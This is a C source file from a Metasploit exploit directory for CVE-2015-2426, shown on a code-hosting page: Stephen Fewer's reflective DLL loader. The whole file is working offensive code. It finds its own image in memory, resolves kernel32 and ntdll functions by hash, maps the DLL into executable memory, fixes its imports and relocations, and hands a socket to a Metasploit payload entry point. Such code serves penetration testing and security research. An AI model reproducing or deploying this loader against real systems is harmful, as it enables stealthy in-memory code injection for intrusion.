Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2015-2426/dll/src/ReflectiveLoader.c
Views: 11788
//===============================================================================================//1// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)2// All rights reserved.3//4// Redistribution and use in source and binary forms, with or without modification, are permitted5// provided that the following conditions are met:6//7// * Redistributions of source code must retain the above copyright notice, this list of8// conditions and the following disclaimer.9//10// * Redistributions in binary form must reproduce the above copyright notice, this list of11// conditions and the following disclaimer in the documentation and/or other materials provided12// with the distribution.13//14// * Neither the name of Harmony Security nor the names of its contributors may be used to15// endorse or promote products derived from this software without specific prior written permission.16//17// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR18// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND19// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR20// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR21// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR22// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY23// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR24// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE25// POSSIBILITY OF SUCH DAMAGE.26//===============================================================================================//27#include "ReflectiveLoader.h"28//===============================================================================================//29// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value30HINSTANCE hAppInstance = NULL;31//===============================================================================================//32#pragma intrinsic( _ReturnAddress )33// This function can not be inlined by the compiler or we will not get the address we expect. Ideally34// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of35// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics36// available (and no inline asm available under x64).37__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }38//===============================================================================================//3940#ifdef ENABLE_OUTPUTDEBUGSTRING41#define OUTPUTDBG(str) pOutputDebug((LPCSTR)str)42#else /* ENABLE_OUTPUTDEBUGSTRING */43#define OUTPUTDBG(str) do{}while(0)44#endif4546// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,47// otherwise the DllMain at the end of this file will be used.4849// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,50// otherwise it is assumed you are calling the ReflectiveLoader via a stub.5152// This is our position independent reflective DLL loader/injector53#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR54DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )55#else56DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )57#endif58{59// the functions we need60LOADLIBRARYA pLoadLibraryA = NULL;61GETPROCADDRESS pGetProcAddress = NULL;62VIRTUALALLOC pVirtualAlloc = NULL;63NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;64#ifdef ENABLE_STOPPAGING65VIRTUALLOCK pVirtualLock = NULL;66#endif67#ifdef ENABLE_OUTPUTDEBUGSTRING68OUTPUTDEBUG pOutputDebug = NULL;69#endif7071USHORT usCounter;7273// the initial location of this image in memory74ULONG_PTR uiLibraryAddress;75// the kernels base address and later this images newly loaded base address76ULONG_PTR uiBaseAddress;7778// variables for processing the kernels export table79ULONG_PTR uiAddressArray;80ULONG_PTR uiNameArray;81ULONG_PTR uiExportDir;82ULONG_PTR uiNameOrdinals;83DWORD dwHashValue;8485// variables for loading this image86ULONG_PTR uiHeaderValue;87ULONG_PTR uiValueA;88ULONG_PTR uiValueB;89ULONG_PTR uiValueC;90ULONG_PTR uiValueD;91ULONG_PTR uiValueE;9293// STEP 0: calculate our images current base address9495// we will start searching backwards from our callers return address.96uiLibraryAddress = caller();9798// loop through memory backwards searching for our images base address99// we dont need SEH style search as we shouldnt generate any access violations with this100while( TRUE )101{102if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )103{104uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;105// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),106// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.107if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )108{109uiHeaderValue += uiLibraryAddress;110// break if we have found a valid MZ/PE header111if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )112break;113}114}115uiLibraryAddress--;116}117118// STEP 1: process the kernels exports for the functions our loader needs...119120// get the Process Enviroment Block121#ifdef _WIN64122uiBaseAddress = __readgsqword( 0x60 );123#else124#ifdef WIN_ARM125uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );126#else _WIN32127uiBaseAddress = __readfsdword( 0x30 );128#endif129#endif130131// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx132uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;133134// get the first entry of the InMemoryOrder module list135uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;136while( uiValueA )137{138// get pointer to current modules name (unicode string)139uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;140// set bCounter to the length for the loop141usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;142// clear uiValueC which will store the hash of the module name143uiValueC = 0;144145// compute the hash of the module name...146do147{148uiValueC = ror( (DWORD)uiValueC );149// normalize to uppercase if the module name is in lowercase150if( *((BYTE *)uiValueB) >= 'a' )151uiValueC += *((BYTE *)uiValueB) - 0x20;152else153uiValueC += *((BYTE *)uiValueB);154uiValueB++;155} while( --usCounter );156157// compare the hash with that of kernel32.dll158if( (DWORD)uiValueC == KERNEL32DLL_HASH )159{160// get this modules base address161uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;162163// get the VA of the modules NT Header164uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;165166// uiNameArray = the address of the modules export directory entry167uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];168169// get the VA of the export directory170uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );171172// get the VA for the array of name pointers173uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );174175// get the VA for the array of name ordinals176uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );177178usCounter = 3;179#ifdef ENABLE_STOPPAGING180usCounter++;181#endif182#ifdef ENABLE_OUTPUTDEBUGSTRING183usCounter++;184#endif185186// loop while we still have imports to find187while( usCounter > 0 )188{189// compute the hash values for this function name190dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );191192// if we have found a function we want we get its virtual address193if( dwHashValue == LOADLIBRARYA_HASH194|| dwHashValue == GETPROCADDRESS_HASH195|| dwHashValue == VIRTUALALLOC_HASH196#ifdef ENABLE_STOPPAGING197|| dwHashValue == VIRTUALLOCK_HASH198#endif199#ifdef ENABLE_OUTPUTDEBUGSTRING200|| dwHashValue == OUTPUTDEBUG_HASH201#endif202)203{204// get the VA for the array of addresses205uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );206207// use this functions name ordinal as an index into the array of name pointers208uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );209210// store this functions VA211if( dwHashValue == LOADLIBRARYA_HASH )212pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );213else if( dwHashValue == GETPROCADDRESS_HASH )214pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );215else if( dwHashValue == VIRTUALALLOC_HASH )216pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );217#ifdef ENABLE_STOPPAGING218else if( dwHashValue == VIRTUALLOCK_HASH )219pVirtualLock = (VIRTUALLOCK)( uiBaseAddress + DEREF_32( uiAddressArray ) );220#endif221#ifdef ENABLE_OUTPUTDEBUGSTRING222else if( dwHashValue == OUTPUTDEBUG_HASH )223pOutputDebug = (OUTPUTDEBUG)( uiBaseAddress + DEREF_32( uiAddressArray ) );224#endif225226// decrement our counter227usCounter--;228}229230// get the next exported function name231uiNameArray += sizeof(DWORD);232233// get the next exported function name ordinal234uiNameOrdinals += sizeof(WORD);235}236}237else if( (DWORD)uiValueC == NTDLLDLL_HASH )238{239// get this modules base address240uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;241242// get the VA of the modules NT Header243uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;244245// uiNameArray = the address of the modules export directory entry246uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];247248// get the VA of the export directory249uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );250251// get the VA for the array of name pointers252uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );253254// get the VA for the array of name ordinals255uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );256257usCounter = 1;258259// loop while we still have imports to find260while( usCounter > 0 )261{262// compute the hash values for this function name263dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );264265// if we have found a function we want we get its virtual address266if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )267{268// get the VA for the array of addresses269uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );270271// use this functions name ordinal as an index into the array of name pointers272uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );273274// store this functions VA275if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )276pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );277278// decrement our counter279usCounter--;280}281282// get the next exported function name283uiNameArray += sizeof(DWORD);284285// get the next exported function name ordinal286uiNameOrdinals += sizeof(WORD);287}288}289290// we stop searching when we have found everything we need.291if( pLoadLibraryA292&& pGetProcAddress293&& pVirtualAlloc294#ifdef ENABLE_STOPPAGING295&& pVirtualLock296#endif297&& pNtFlushInstructionCache298#ifdef ENABLE_OUTPUTDEBUGSTRING299&& pOutputDebug300#endif301)302break;303304// get the next entry305uiValueA = DEREF( uiValueA );306}307308// STEP 2: load our image into a new permanent location in memory...309310// get the VA of the NT Header for the PE to be loaded311uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;312313// allocate all the memory for the DLL to be loaded into. we can load at any address because we will314// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.315uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );316317#ifdef ENABLE_STOPPAGING318// prevent our image from being swapped to the pagefile319pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage);320#endif321322// we must now copy over the headers323uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;324uiValueB = uiLibraryAddress;325uiValueC = uiBaseAddress;326327while( uiValueA-- )328*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;329330// STEP 3: load in all of our sections...331332// uiValueA = the VA of the first section333uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );334335// itterate through all sections, loading them into memory.336uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;337while( uiValueE-- )338{339// uiValueB is the VA for this section340uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );341342// uiValueC if the VA for this sections data343uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );344345// copy the section over346uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;347348while( uiValueD-- )349*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;350351// get the VA of the next section352uiValueA += sizeof( IMAGE_SECTION_HEADER );353}354355// STEP 4: process our images import table...356357// uiValueB = the address of the import directory358uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];359360// we assume there is an import table to process361// uiValueC is the first entry in the import table362uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );363364// iterate through all imports until a null RVA is found (Characteristics is mis-named)365while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )366{367OUTPUTDBG("Loading library: ");368OUTPUTDBG((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));369OUTPUTDBG("\n");370371// use LoadLibraryA to load the imported module into memory372uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );373374if ( !uiLibraryAddress )375{376OUTPUTDBG("Loading library FAILED\n");377378uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );379continue;380}381382// uiValueD = VA of the OriginalFirstThunk383uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );384385// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)386uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );387388// itterate through all imported functions, importing by ordinal if no name present389while( DEREF(uiValueA) )390{391// sanity check uiValueD as some compilers only import by FirstThunk392if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )393{394// get the VA of the modules NT Header395uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;396397// uiNameArray = the address of the modules export directory entry398uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];399400// get the VA of the export directory401uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );402403// get the VA for the array of addresses404uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );405406// use the import ordinal (- export ordinal base) as an index into the array of addresses407uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );408409// patch in the address for this imported function410DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );411}412else413{414// get the VA of this functions import by name struct415uiValueB = ( uiBaseAddress + DEREF(uiValueA) );416417OUTPUTDBG("Resolving function: ");418OUTPUTDBG(((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);419OUTPUTDBG("\n");420421// use GetProcAddress and patch in the address for this imported function422DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );423}424// get the next imported function425uiValueA += sizeof( ULONG_PTR );426if( uiValueD )427uiValueD += sizeof( ULONG_PTR );428}429430// get the next import431uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );432}433434// STEP 5: process all of our images relocations...435436// calculate the base address delta and perform relocations (even if we load at desired image base)437uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;438439// uiValueB = the address of the relocation directory440uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];441442// check if their are any relocations present443if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )444{445// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)446uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );447448// and we itterate through all entries...449while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )450{451// uiValueA = the VA for this relocation block452uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );453454// uiValueB = number of entries in this relocation block455uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );456457// uiValueD is now the first entry in the current relocation block458uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);459460// we itterate through all the entries in the current block...461while( uiValueB-- )462{463// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.464// we dont use a switch statement to avoid the compiler building a jump table465// which would not be very position independent!466if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )467*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;468else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )469*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;470#ifdef WIN_ARM471// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.472else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )473{474register DWORD dwInstruction;475register DWORD dwAddress;476register WORD wImm;477// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)478dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );479// flip the words to get the instruction as expected480dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );481// sanity chack we are processing a MOV instruction...482if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )483{484// pull out the encoded 16bit value (the high portion of the address-to-relocate)485wImm = (WORD)( dwInstruction & 0x000000FF);486wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);487wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);488wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);489// apply the relocation to the target address490dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;491// now create a new instruction with the same opcode and register param.492dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );493// patch in the relocated address...494dwInstruction |= (DWORD)(dwAddress & 0x00FF);495dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;496dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;497dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;498// now flip the instructions words and patch back into the code...499*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );500}501}502#endif503else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )504*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);505else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )506*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);507508// get the next entry in the current relocation block509uiValueD += sizeof( IMAGE_RELOC );510}511512// get the next entry in the relocation directory513uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;514}515}516517// STEP 6: call our images entry point518519// uiValueA = the VA of our newly loaded DLL/EXE's entry point520uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );521522OUTPUTDBG("Flushing the instruction cache");523// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.524pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );525526// call our respective entry point, fudging our hInstance value527#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR528// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)529((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );530#else531// if we are injecting an DLL via a stub we call DllMain with no parameter532((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );533#endif534535// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.536return uiValueA;537}538//===============================================================================================//539#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN540541// you must implement this function...542extern DWORD DLLEXPORT Init( SOCKET socket );543544BOOL MetasploitDllAttach( SOCKET socket )545{546Init( socket );547return TRUE;548}549550BOOL MetasploitDllDetach( DWORD dwExitFunc )551{552switch( dwExitFunc )553{554case EXITFUNC_SEH:555SetUnhandledExceptionFilter( NULL );556break;557case EXITFUNC_THREAD:558ExitThread( 0 );559break;560case EXITFUNC_PROCESS:561ExitProcess( 0 );562break;563default:564break;565}566567return TRUE;568}569570BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )571{572BOOL bReturnValue = TRUE;573574switch( dwReason )575{576case DLL_METASPLOIT_ATTACH:577bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );578break;579case DLL_METASPLOIT_DETACH:580bReturnValue = MetasploitDllDetach( (DWORD)lpReserved );581break;582case DLL_QUERY_HMODULE:583if( lpReserved != NULL )584*(HMODULE *)lpReserved = hAppInstance;585break;586case DLL_PROCESS_ATTACH:587hAppInstance = hinstDLL;588break;589case DLL_PROCESS_DETACH:590case DLL_THREAD_ATTACH:591case DLL_THREAD_DETACH:592break;593}594return bReturnValue;595}596597#endif598//===============================================================================================//599600601